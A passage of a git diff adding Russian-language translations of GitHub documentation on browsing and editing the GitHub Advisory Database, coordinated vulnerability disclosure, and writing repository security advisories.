идентификационным номером CVE. | +| `ecosystem:ECOSYSTEM`| [**ecosystem:npm**](https://github.com/advisories?utf8=%E2%9C%93&query=ecosystem%3Anpm) покажет только рекомендации, касающиеся пакетов NPM. | +| `severity:LEVEL`| [**severity:high**](https://github.com/advisories?utf8=%E2%9C%93&query=severity%3Ahigh) будут отображаться только рекомендации с высоким уровнем серьезности. | +| `affects:LIBRARY`| [**affects:lodash**](https://github.com/advisories?utf8=%E2%9C%93&query=affects%3Alodash) покажет только рекомендации, касающиеся библиотеки lodash. | +| `cwe:ID`| [**cwe:352**](https://github.com/advisories?query=cwe%3A352) покажет только рекомендации с этим номером CWE. | +| `credit:USERNAME`| [**credit:octocat**](https://github.com/advisories?query=credit%3Aoctocat) покажет только рекомендации, зачисленные на учетную запись пользователя "octocat". | +| `sort:created-asc`| [**sort:created-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-asc) сначала отсортирует самые старые рекомендации. | +| `sort:created-desc`| [**sort:created-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-desc) сначала отсортирует самые новые рекомендации. | +| `sort:updated-asc`| [**sort:updated-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-asc) будет сортировать по наиболее давним обновлениям. | +| `sort:updated-desc`| [**sort:updated-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-desc) будет сортировать по самым последним обновлениям. | +| `is:withdrawn`| [**is:withdrawn**](https://github.com/advisories?utf8=%E2%9C%93&query=is%3Awithdrawn) покажет только те рекомендации, которые были отозваны. | +| `created:YYYY-MM-DD`| [**created:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=created%3A2021-01-13) покажет рекомендации, созданные в эту дату. | +| `updated:YYYY-MM-DD`| [**updated:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=updated%3A2021-01-13) покажет только рекомендации, обновленные в эту дату. | + +## Просмотр ваших уязвимых репозиториев + +Для любой проверенной в {% data variables.product.company_short %} рекомендации в {% data variables.product.prodname_advisory_database %} вы можете увидеть, какие из ваших репозиториев подвержены этой уязвимости{% ifversion GH-advisory-db-supports-malware %} или вредоносной программе{% endif %}. Чтобы увидеть уязвимый репозиторий, у вас должен быть доступ к {% data variables.product.prodname_dependabot_alerts %} для этого репозитория. Дополнительные сведения см. в статье "[Сведения о {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts)". + +1. Перейдите к https://github.com/advisories. +2. Щелкните рекомендацию. +3. В верхней части страницы рекомендаций щелкните **Оповещения Dependabot**. + ![Оповещения Dependabot](/assets/images/help/security/advisory-database-dependabot-alerts.png) +4. При желании для фильтрации списка используйте строку поиска или раскрывающиеся меню. Раскрывающееся меню "Организация" позволяет фильтровать {% data variables.product.prodname_dependabot_alerts %} для каждого владельца (организации или пользователя). + ![Панель поиска и раскрывающиеся меню для фильтрации оповещений](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png) +5. Чтобы получить дополнительные сведения о рекомендации по исправлению уязвимого репозитория, щелкните имя репозитория. + +{% ifversion security-advisories-ghes-ghae %} +## Доступ к локальной базе данных рекомендаций в {% data variables.location.product_location %} + +Если администратор сайта включил {% data variables.product.prodname_github_connect %} для {% data variables.location.product_location %}, вы также можете просматривать проверенные рекомендации локально. Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect). + +Вы можете использовать локальную базу данных рекомендаций, чтобы проверить, добавлена ли определенная уязвимость безопасности и, следовательно, будете ли вы получать оповещения об уязвимых зависимостях. Вы также можете просмотреть все уязвимые репозитории. + +1. Перейдите к `https://HOSTNAME/advisories`. +2. При необходимости используйте любое из раскрывающихся меню, чтобы отфильтровать список. + ![Раскрывающиеся фильтры](/assets/images/help/security/advisory-database-dropdown-filters.png) {% note %} + + **Примечание.** В список включаются только проверенные рекомендации. Непроверенные рекомендации можно просмотреть в {% data variables.product.prodname_advisory_database %} в {% data variables.product.prodname_dotcom_the_website %}. Дополнительные сведения см. в статье [Доступ к рекомендациям в базе данных рекомендаций GitHub](#accessing-an-advisory-in-the-github-advisory-database). + + {% endnote %} +3. Щелкните рекомендацию, чтобы просмотреть подробные сведения. {% ifversion GH-advisory-db-supports-malware %} По умолчанию вы увидите {% data variables.product.company_short %}— проверенные рекомендации по работе с уязвимостями системы безопасности. Чтобы просмотреть рекомендации по вредоносным программам, укажите `type:malware` в строке поиска.{% endif %} + +Вы также можете предлагать улучшения для включения в рекомендации непосредственно из локальной базы данных рекомендаций. Дополнительные сведения см. в разделе ["Рекомендации по редактированию из {% data variables.location.product_location %}](/code-security/dependabot/dependabot-alerts/editing-security-advisories-in-the-github-advisory-database#editing-advisories-from-your-github-enterprise-server-instance)". + +### Просмотр уязвимых репозиториев для {% data variables.location.product_location %} + +{% data reusables.repositories.enable-security-alerts %} + +В локальной базе данных рекомендаций можно просмотреть репозитории, на которые влияют уязвимости системы безопасности{% ifversion GH-advisory-db-supports-malware %} и вредоносные программы{% endif %}. Чтобы увидеть уязвимый репозиторий, у вас должен быть доступ к {% data variables.product.prodname_dependabot_alerts %} для этого репозитория. Дополнительные сведения см. в статье "[Сведения о {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts)". + +1. Перейдите к `https://HOSTNAME/advisories`. +2. Щелкните рекомендацию. +3. В верхней части страницы рекомендаций щелкните **Оповещения Dependabot**. + ![Оповещения Dependabot](/assets/images/help/security/advisory-database-dependabot-alerts.png) +4. При желании для фильтрации списка используйте строку поиска или раскрывающиеся меню. Раскрывающееся меню "Организация" позволяет фильтровать {% data variables.product.prodname_dependabot_alerts %} для каждого владельца (организации или пользователя). + ![Панель поиска и раскрывающиеся меню для фильтрации оповещений](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png) +5. Чтобы получить дополнительные сведения о рекомендации по исправлению уязвимого репозитория, щелкните имя репозитория. + +{% endif %} diff --git a/translations/ru-RU/content/code-security/security-advisories/global-security-advisories/editing-security-advisories-in-the-github-advisory-database.md b/translations/ru-RU/content/code-security/security-advisories/global-security-advisories/editing-security-advisories-in-the-github-advisory-database.md new file mode 100644 index 000000000000..64f15d4ed001 --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/global-security-advisories/editing-security-advisories-in-the-github-advisory-database.md @@ -0,0 +1,62 @@ +--- +title: Изменение рекомендаций по безопасности в базе данных рекомендаций по GitHub +intro: 'Вы можете применить улучшения для любой рекомендации, опубликованной в {% data variables.product.prodname_advisory_database %}.' +redirect_from: + - /code-security/security-advisories/editing-security-advisories-in-the-github-advisory-database + - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database + - /code-security/dependabot/dependabot-alerts/editing-security-advisories-in-the-github-advisory-database +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Security advisories + - Alerts + - Dependabot + - Vulnerabilities + - CVEs +shortTitle: Edit Advisory Database +ms.openlocfilehash: 7cfe2ff49c830922457ef5192ca0db7d326e1388 +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148114167' +--- +## Редактирование рекомендаций в {% data variables.product.prodname_advisory_database %} + +Рекомендации в {% data variables.product.prodname_advisory_database %} являются глобальными рекомендациями по безопасности. Дополнительные сведения о глобальных рекомендациях по безопасности см. в разделе [Сведения о глобальных рекомендациях по безопасности](/code-security/security-advisories/global-security-advisories/about-global-security-advisories). + +Любой пользователь может выдвинуть предложение по улучшению любой глобальной рекомендации по безопасности в {% data variables.product.prodname_advisory_database %}. Вы можете изменить или добавить любые сведения, включая дополнительно затронутые экосистемы, степень серьезности или описание тех, кого коснулись изменения. Команда по проверке {% data variables.product.prodname_security %} рассмотрит отправленные улучшения и, если они будут приняты, опубликует их в {% data variables.product.prodname_advisory_database %}. +{% ifversion fpt or ghec %} Только владельцы репозитория и администраторы могут изменять рекомендации по безопасности на уровне репозитория. Дополнительные сведения см. в статье [Изменение рекомендаций по безопасности репозитория](/code-security/security-advisories/editing-a-security-advisory).{% endif %} + + +1. Перейдите к https://github.com/advisories. +1. Выберите рекомендацию по безопасности, в которую вы хотели бы внести свой вклад. +1. В правой части страницы нажмите на ссылку **Предложить улучшения для этой уязвимости**. + + ![Снимок экрана: ссылка "Предложить улучшения"](/assets/images/help/security/suggest-improvements-to-advisory.png) + +1. В форме "Улучшение рекомендаций по безопасности" внесите необходимые улучшения. Вы можете изменить или добавить любые сведения. {% ifversion fpt or ghec %} Сведения о правильном указании сведений о форме, включая затронутые версии, см. в разделе [Рекомендации по написанию рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/best-practices-for-writing-repository-security-advisories). {% endif %} {% ifversion security-advisories-reason-for-change %} +1. В разделе **Причина изменения** объясните, почему вы хотите сделать это улучшение. Если вы включите ссылки на вспомогательные материалы, это поможет нашим рецензентам. + + ![Снимок экрана: причина изменения поля](/assets/images/help/security/security-advisories-suggest-improvement-reason.png){% endif %} + +1. Завершив редактирование рекомендации, нажмите **Отправить улучшения**. +1. После отправки улучшений будет создан запрос на вытягивание, содержащий ваши изменения, для рассмотрения в [github/advisory-database](https://github.com/github/advisory-database) командой по проверке {% data variables.product.prodname_security %}. Если рекомендация исходит из репозитория {% data variables.product.prodname_dotcom %}, мы также отметим исходного издателя, чтобы при желании он мог оставить комментарий. Вы можете просматривать запрос на вытягивание и получать уведомления при его обновлении или закрытии. + +Кроме того, запрос на вытягивание можно открыть непосредственно в файле рекомендаций в репозитории [github/advisory-database](https://github.com/github/advisory-database). Дополнительные сведения см. в [правилах по предложению улучшений](https://github.com/github/advisory-database/blob/main/CONTRIBUTING.md). + +{% ifversion security-advisories-ghes-ghae %} +## Редактирование рекомендаций из {% data variables.location.product_location %} + +Если {% data variables.product.prodname_github_connect %} включен для {% data variables.location.product_location %}, вы сможете просмотреть рекомендации, добавив `/advisories` в URL-адрес экземпляра. + +1. Перейдите к `https://HOSTNAME/advisories`. +2. Выберите рекомендацию по безопасности, в которую вы хотели бы внести свой вклад. +3. В правой части страницы щелкните **Предложить улучшения для этой уязвимости в {% data variables.product.prodname_dotcom_the_website %}.** и создайте ее бесплатно. Откроется новая вкладка с той же рекомендацией по безопасности в {% data variables.product.prodname_dotcom_the_website %}. +![Ссылка на предложение улучшений](/assets/images/help/security/suggest-improvements-to-advisory-on-github-com.png) +4. Измените рекомендации, выполнив действия 4-6 в разделе [Рекомендации по редактированию в базе данных рекомендаций GitHub](#editing-advisories-in-the-github-advisory-database) выше. +{% endif %} diff --git a/translations/ru-RU/content/code-security/security-advisories/global-security-advisories/index.md b/translations/ru-RU/content/code-security/security-advisories/global-security-advisories/index.md new file mode 100644 index 000000000000..aba0f509f7f1 --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/global-security-advisories/index.md @@ -0,0 +1,27 @@ +--- +title: Работа с глобальными рекомендациями по безопасности из базы данных рекомендаций GitHub +shortTitle: Global security advisories +intro: 'Просмотрите {% data variables.product.prodname_advisory_database %} и отправьте улучшения в рекомендации по глобальной безопасности.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Security advisories + - Vulnerabilities + - Repositories + - CVEs +children: + - /about-the-github-advisory-database + - /about-global-security-advisories + - /browsing-security-advisories-in-the-github-advisory-database + - /editing-security-advisories-in-the-github-advisory-database +ms.openlocfilehash: ff0ba15abd3a404cbdb8ce97347d8dd5a4090280 +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148114096' +--- + diff --git a/translations/ru-RU/content/code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities.md b/translations/ru-RU/content/code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities.md new file mode 100644 index 000000000000..e9db86aa51f1 --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities.md @@ -0,0 +1,98 @@ +--- +title: Сведения о скоординированном раскрытии информации об уязвимостях безопасности +intro: Раскрытие информации об уязвимостях требует скоординированной работы специалистов по безопасности и специалистами по обслуживанию репозиториев. +redirect_from: + - /code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities + - /code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities + - /code-security/security-advisories/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' +type: overview +topics: + - Security advisories + - Vulnerabilities +shortTitle: Coordinated disclosure +ms.openlocfilehash: 5f3e9983b3efcca68cb1b5c0bc5891a21f276216 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160013' +--- +## Как раскрывается информация об уязвимостях в отрасли + +{% data reusables.security-advisory.disclosing-vulnerabilities %} + +Первоначальное сообщение об уязвимости делается в частном порядке, и все сведения публикуются только после того, как координатор подтвердил проблему и, в идеале, предоставил исправления. Иногда выдерживается пауза, которая дает время на установку исправлений. Дополнительные сведения см. в статье [о раскрытии уязвимостей](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html#commercial-and-open-source-software) на сайте памяток по OWASP. + +### Рекомендации по предоставлению отчетов об уязвимостях + +Рекомендуется сообщать об уязвимостях координаторам в частном порядке. Если вы являетесь информирующим об уязвимости: +- не сообщайте о ней публично, дайте координаторам возможность ее исправить; +- не действуйте в обход координаторов; +- не сообщайте об уязвимости до появления исправленной версии кода; +- не ожидайте вознаграждения за сообщение о проблеме, если она не подпадает под действие общедоступной программы поощрений. + +Информирующие об уязвимостях могут раскрывать информацию через определенное время, если до этого они пытались связаться с координаторами и не получили ответа либо их попросили не раскрывать эту информацию слишком долго. + +Мы рекомендуем информирующим об уязвимостях четко указывать условия своей политики раскрытия информации. Даже если информирующий об уязвимости не придерживается строгих правил, рекомендуется сообщить координаторам четкие сроки предполагаемого раскрытия сведений об уязвимостях. Пример политики раскрытия информации см. в разделе "[Политика раскрытия информации лаборатории безопасности](https://securitylab.github.com/advisories#policy)" на веб-сайте лаборатории безопасности GitHub. + +### Рекомендации для координаторов + +Если вы — координатор, четко укажите, как и где вы хотите получать отчеты об уязвимостях. Если эта информация недоступна, информирующие об уязвимостях не будут знать, как связаться с вами, и могут искать адреса электронной почты разработчиков в журналах фиксаций Git с целью выйти на контактное лицо по безопасности. Это может приводить к конфликтам, потере отчетов или публикации отчетов по неисправленным проблемам. + +Координаторы должны своевременно сообщать об уязвимостях. Если в вашем репозитории есть уязвимость безопасности: +- рассматривайте уязвимость как проблему безопасности, а не простую ошибку, и в ответе, и в раскрытии информации. Например, явно укажите, что проблема является уязвимостью безопасности в заметках о выпуске; +- подтверждайте получение отчета об уязвимостях как можно быстрее, даже если у вас нет доступных специалистов, которые взялись бы за ее исследование. Этим вы заявляете, что быстро реагируете на проблемы, а также задаете положительный тон для дальнейшего общения с информирующим об уязвимости; +- при оценке влияния и достоверности отчета привлекайте информирующего об уязвимости. Скорее всего, этот человек уже рассматривал уязвимость в различных сценариях, и среди них могут быть те, которые вы не учитывали; +- исправьте проблему по своему усмотрению, внимательно прислушиваясь к замечаниям и советам от информирующего об уязвимости; Зачастую этот человек знает о крайних случаях и обходных решениях, которые легко не заметить, не имея опыта в области информационной безопасности. +- при раскрытии информации всегда благодарите информирующего об уязвимости; +- старайтесь публиковать исправления как можно скорее; +- При раскрытии сведений об уязвимости старайтесь сообщить о проблеме и ее решении как можно более широкому кругу лиц. Зачастую бывает так, что признанная проблема безопасности устраняется в текущей ветви разработки проекта, однако фиксация или последующий выпуск не имеют явной отметки о том, что это исправление или выпуск, устраняющие проблемы безопасности. Это может привести к проблемам для нижестоящих пользователей. + +Публикация сведений об уязвимости безопасности не выставляет координатора в дурном свете. Такие проблемы в программном обеспечении повсеместны, и пользователи будут доверять координаторам, у которых есть четкий и отработанный процесс по раскрытию информации об уязвимостях безопасности в коде. + +## Сведения о раскрытии информации об уязвимостях в проектах на {% data variables.product.prodname_dotcom %} + +В {% data variables.product.prodname_dotcom %}доступны два процесса: + +- Стандартный процесс. Репортеры уязвимостей связываются с обслуживателями репозитория, используя контактные данные, расположенные в политике безопасности для репозитория. Затем поддержку репозитория создают черновик рекомендаций репозитория, если это необходимо. +- Частные отчеты об уязвимостях. Репортеры об уязвимостях раскрывают сведения об уязвимостях напрямую и в частном порядке для ведения репозитория, предлагая проект рекомендаций репозитория и предоставляя подробные сведения о своих результатах. + +### Стандартный процесс + +Процесс создания отчетов и раскрытия информации об уязвимостях для проектов на {% data variables.product.prodname_dotcom_the_website %} выглядит следующим образом: + + Если вы являетесь информирующим об уязвимости (например, аналитиком в области безопасности) и хотите сообщить об уязвимости, сначала проверьте наличие политики безопасности для связанного репозитория. Дополнительные сведения см. в разделе "[О политиках безопасности](/code-security/getting-started/adding-a-security-policy-to-your-repository#about-security-policies)". При наличии такой политики следуйте содержащимся в ней инструкциям перед тем, как обращаться в группу безопасности этого репозитория. + + Если политика безопасности отсутствует, то установите закрытый канал связи с координаторами. Для этого создайте проблему, в которой укажите запрос на помощь предпочтительного контактного лица по вопросам безопасности. Стоит отметить, что эта проблема будет общедоступна, поэтому в ней не должно быть информации об ошибке. После установления связи вы можете предложить координаторам сформулировать политику безопасности на будущее. + +{% note %} + +**Примечание**. _Только для npm_ — если мы получаем отчет о вредоносных программах в пакете npm, мы пытаемся связаться с вами в частном порядке. Если вы своевременно не решите проблему, мы ее раскрываем. Дополнительные сведения см. в разделе "[Создание отчетов о вредоносных программах в пакете npm](https://docs.npmjs.com/reporting-malware-in-an-npm-package)" на веб-сайте документации npm. + +{% endnote %} + + Если вы обнаружили уязвимость безопасности в {% data variables.product.prodname_dotcom_the_website %}, сообщите о ней с помощью нашего скоординированного процесса раскрытия. Дополнительные сведения см. на веб-сайте [bounty ошибки безопасности {% data variables.product.prodname_dotcom %}](https://bounty.github.com/). + + Если вы являетесь координатором, то можете взять на себя ответственность за процесс с самого начала, настроив политику безопасности для репозитория или предоставив доступ к инструкциям по отчетам о безопасности, например в файле README проекта. Сведения о добавлении политики безопасности см. в разделе "[Сведения о политиках безопасности](/code-security/getting-started/adding-a-security-policy-to-your-repository#about-security-policies)". Если политика безопасности отсутствует, скорее всего, информирующий об уязвимости попытается отправить вам письмо по электронной почте или иным образом связаться с вами в частном порядке. Либо кто-то может открыть (общедоступную) проблему с подробными сведениями о проблеме безопасности. + + При раскрытии уязвимости в своем коде вы, как координатор, сначала создадите черновик рекомендаций по безопасности в репозитории пакета в {% data variables.product.prodname_dotcom %}. {% data reusables.security-advisory.security-advisory-overview %} Дополнительные сведения см. в разделе [Рекомендации по безопасности репозитория](/code-security/repository-security-advisories/about-github-security-advisories-for-repositories). + + Чтобы приступить к работе, ознакомьтесь с разделом "[Создание рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/creating-a-repository-security-advisory)". + +### Частные отчеты об уязвимостях + +{% data reusables.security-advisory.private-vulnerability-reporting-beta %} + +{% data reusables.security-advisory.private-vulnerability-reporting-enable %} + + Частные отчеты об уязвимостях обеспечивают простой способ для отчетов об уязвимостях в частном порядке сообщать о рисках безопасности для ведения репозитория в {% data variables.product.prodname_dotcom %} и таким образом, чтобы немедленно уведомлять поддержку репозитория о проблеме. Дополнительные сведения для исследователей безопасности и специалистов по поддержке репозитория см. в [разделах Частные отчеты об уязвимостях безопасности](/code-security/security-advisories/guidance-on-reporting-and-writing/privately-reporting-a-security-vulnerability) и [Управление уязвимостями системы безопасности, сообщаемые в частном порядке](/code-security/security-advisories/guidance-on-reporting-and-writing/managing-privately-reported-security-vulnerabilities), соответственно. + +{% note %} + +**Примечание.** Если для репозитория, содержащего уязвимость, не включены частные отчеты об уязвимостях, как исследователи безопасности, так и специалисты по поддержке репозитория должны выполнить инструкции, описанные в разделе "[Стандартный процесс](#standard-process)" выше. + +{% endnote %} diff --git a/translations/ru-RU/content/code-security/security-advisories/guidance-on-reporting-and-writing/best-practices-for-writing-repository-security-advisories.md b/translations/ru-RU/content/code-security/security-advisories/guidance-on-reporting-and-writing/best-practices-for-writing-repository-security-advisories.md new file mode 100644 index 000000000000..6e8bb70ee6c4 --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/guidance-on-reporting-and-writing/best-practices-for-writing-repository-security-advisories.md @@ -0,0 +1,94 @@ +--- +title: Рекомендации по написанию рекомендаций по безопасности репозитория +intro: 'При создании или изменении рекомендаций по безопасности другие пользователи могут легко понять, когда вы указываете экосистему, имя пакета и затронутые версии с помощью стандартных форматов.' +versions: + fpt: '*' + ghec: '*' +type: how_to +miniTocMaxHeadingLevel: 3 +topics: + - Security advisories + - Vulnerabilities +shortTitle: Best practices +redirect_from: + - /code-security/repository-security-advisories/best-practices-for-writing-repository-security-advisories +ms.openlocfilehash: af1ab76e13f44f5b319cd560e1ae0aa3081742dc +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148114172' +--- +Любой пользователь с разрешениями администратора для репозитория может создать и изменить рекомендации по безопасности. + +{% data reusables.security-advisory.security-researcher-cannot-create-advisory %} + +## Рекомендации по безопасности для репозиториев + +{% data reusables.security-advisory.security-advisory-overview %} Дополнительные сведения см. в разделе [Рекомендации по безопасности репозитория](/code-security/repository-security-advisories/about-github-security-advisories-for-repositories). + +## Советы и рекомендации + +Мы рекомендуем использовать синтаксис, используемый в {% data variables.product.prodname_advisory_database %}, особенно при форматировании версий, когда вы пишете рекомендации по безопасности репозитория или вносите вклад сообщества в рекомендации по глобальной безопасности. + +Если следовать синтаксису для {% data variables.product.prodname_advisory_database %}, особенно при определении затронутых версий: +- Когда вы публикуете рекомендации по репозиторию, мы можем добавить ваши рекомендации в {% data variables.product.prodname_advisory_database %} в качестве рекомендаций "{% data variables.product.company_short %}, проверенных" без необходимости запрашивать дополнительные сведения. +- {% data variables.product.prodname_dependabot %} будет иметь сведения для точного определения затронутых репозиториев и отправки им {% data variables.product.prodname_dependabot_alerts %} для уведомления. +- Участники сообщества с меньшей вероятностью будут предлагать изменения в рекомендации, чтобы исправить отсутствующие или неправильные сведения. + +Вы можете добавить или изменить рекомендации репозитория с помощью формы _Черновая форма рекомендаций по безопасности_ . Дополнительные сведения см. в статье [Создание рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/creating-a-repository-security-advisory). + +Вы предлагаете улучшить существующие глобальные рекомендации с помощью формы _Советы по улучшению безопасности_ . Дополнительные сведения см. в разделе [Редактирование рекомендаций по безопасности в {% data variables.product.prodname_advisory_database %}](/code-security/dependabot/dependabot-alerts/editing-security-advisories-in-the-github-advisory-database). + +### Экосистема + +Вам нужно назначить рекомендации одной из поддерживаемых экосистем с помощью поля **Экосистема** . Дополнительные сведения об экосистемах, которые мы поддерживаем, см. в разделе Рекомендации по [безопасности браузера в {% data variables.product.prodname_advisory_database %}](/code-security/dependabot/dependabot-alerts/browsing-security-advisories-in-the-github-advisory-database#github-reviewed-advisories). + +![Снимок экрана: выделенное поле "Экосистема" в форме](/assets/images/help/security/security-advisory-ecosystem.png) + +### Имя пакета + +Мы рекомендуем использовать поле **Имя пакета** , чтобы указать, какие пакеты затрагиваются, так как сведения о пакете требуются для рекомендаций "{% data variables.product.company_short %}, проверенных" в {% data variables.product.prodname_advisory_database %}. Сведения о пакете являются необязательными для рекомендаций по безопасности на уровне репозитория, но включение этих сведений на раннем этапе упрощает процесс проверки при публикации рекомендаций по безопасности. + +![Снимок экрана с выделенным именем пакета в форме](/assets/images/help/security/security-advisory-package-name.png) + +### Затронутые версии + +Мы рекомендуем использовать поле **Затронутые версии** , чтобы указать, какие версии затрагиваются, так как эти сведения необходимы для рекомендаций {% data variables.product.company_short %}, проверенных в {% data variables.product.prodname_advisory_database %}. Сведения о версии являются необязательными для рекомендаций по безопасности на уровне репозитория, но включение этих сведений на раннем этапе упрощает процесс проверки при публикации рекомендаций по безопасности. + +![Снимок экрана с выделенным полем "Затронутые версии"](/assets/images/help/security/security-advisory-affected-versions.png) + +- Допустимая затронутая строка версии состоит из одного из следующих элементов: + - Последовательность операторов нижней границы. + - Последовательность операторов с верхней границей. + - Последовательность операторов верхней и нижней границы. + - Определенная последовательность версий с помощью оператора равенства (`=`). +- Каждая последовательность операторов должна быть указана как оператор, один пробел, а затем версия. + - Допустимые операторы: `=`, `<`, `<=`, `>`или `>=`. + - Версия должна начинаться с числа, за которым следует любое число цифр, букв, точек, дефисов или символов подчеркивания (кроме пробелов или запятых). + - При указании как верхней, так и нижней границы сначала должна быть нижняя граница, за которой следует запятая и один пробел, а затем верхняя граница. + {% note %} + + **Примечание:** Затронутые строки версии не могут содержать начальные или конечные пробелы. + + {% endnote %} + +- Операторы верхней границы могут быть инклюзивными или эксклюзивными, т. е. `<=` или `<`соответственно. +- Операторы нижней границы могут быть инклюзивными или эксклюзивными, т. е. `>=` или `>`соответственно. Однако если вы публикуете рекомендации репозитория и мы переводим их в глобальную рекомендацию, применяется другое правило: строки с нижней границой могут быть только инклюзивными, т. е. `>=`. Оператор монопольной нижней границы (`>`) допускается только в том случае, если версия имеет значение `0`, например `> 0`. + + {% note %} + + **Заметки:** Ограничение нижней границы: + - из-за несовместимости со схемой OSV (уязвимость с открытым кодом). + - Применяется только при внесении предложения по существующим рекомендациям в {% data variables.product.prodname_advisory_database %}. + + {% endnote %} + +- Нельзя указать несколько затронутых диапазонов версий в одном поле, например `> 2.0, < 2.3, > 3.0, < 3.2`. Чтобы указать несколько диапазонов, необходимо создать новый раздел **Затронутые продукты** для каждого диапазона, нажав кнопку **+ Добавить еще один затронутый продукт** . + + ![Снимок экрана: выделенная кнопка для добавления нескольких затронутых диапазонов версий](/assets/images/help/security/security-advisory-add-another-affected-product.png) + - Если затронутый диапазон версий включает только одну верхнюю или нижнюю границу: + - Неявное значение всегда `> 0` имеет значение, если нижняя граница не указана явным образом. + - Неявное значение всегда бесконечно, если верхняя граница явно не указана. + +Дополнительные сведения о {% data variables.product.prodname_advisory_database %} см. в разделе [https://github.com/github/advisory-database](https://github.com/github/advisory-database). diff --git a/translations/ru-RU/content/code-security/security-advisories/guidance-on-reporting-and-writing/index.md b/translations/ru-RU/content/code-security/security-advisories/guidance-on-reporting-and-writing/index.md new file mode 100644 index 000000000000..2c6ddfbbe73c --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/guidance-on-reporting-and-writing/index.md @@ -0,0 +1,25 @@ +--- +title: Руководство по созданию отчетов и записи сведений об уязвимостях +shortTitle: Guidance on reporting and writing +intro: Рекомендации по написанию рекомендаций по безопасности и управлению обнаруженными в частном порядке уязвимостями системы безопасности. +versions: + fpt: '*' + ghec: '*' +topics: + - Security advisories + - Vulnerabilities + - Repositories + - CVEs +children: + - /about-coordinated-disclosure-of-security-vulnerabilities + - /best-practices-for-writing-repository-security-advisories + - /privately-reporting-a-security-vulnerability + - /managing-privately-reported-security-vulnerabilities +ms.openlocfilehash: 14efd02206d899ab62ad3b03a538f75088afaa18 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158840' +--- + diff --git a/translations/ru-RU/content/code-security/security-advisories/guidance-on-reporting-and-writing/managing-privately-reported-security-vulnerabilities.md b/translations/ru-RU/content/code-security/security-advisories/guidance-on-reporting-and-writing/managing-privately-reported-security-vulnerabilities.md new file mode 100644 index 000000000000..66f302b070bb --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/guidance-on-reporting-and-writing/managing-privately-reported-security-vulnerabilities.md @@ -0,0 +1,48 @@ +--- +title: Управление обнаруженными в частном порядке уязвимостями системы безопасности +intro: 'Хранители репозиториев могут управлять уязвимостями системы безопасности, о которых им сообщили частные службы безопасности для репозиториев, в которых включены частные отчеты об уязвимостях.' +permissions: 'Anyone with admin permissions to a repository can see, review, and manage privately-reported vulnerabilities for the repository.' +versions: + fpt: '*' + ghec: '*' +type: how_to +miniTocMaxHeadingLevel: 3 +topics: + - Security advisories + - Vulnerabilities +shortTitle: Manage vulnerability reports +ms.openlocfilehash: 942533788dc6ad9280ddc023f583462c7a0ff7f8 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160295' +--- +{% data reusables.security-advisory.private-vulnerability-reporting-beta %} + +{% data reusables.security-advisory.private-vulnerability-reporting-enable %} + +## Сведения о конфиденциальном сообщении об уязвимости системы безопасности + +Отчеты о частных уязвимостях позволяют исследователям безопасности сообщать об уязвимостях непосредственно с помощью простой формы. + +Когда исследователь по безопасности сообщает об уязвимости в частном порядке, вы получите уведомление и можете принять ее, задать дополнительные вопросы или отклонить ее. Если вы принимаете отчет, вы готовы к совместной работе над исправлением уязвимости в частном порядке с исследователем по безопасности. + +## Управление уязвимостями системы безопасности, о которых сообщается в частном порядке + +{% data variables.product.prodname_dotcom %} уведомляет пользователей репозитория, когда исследователи 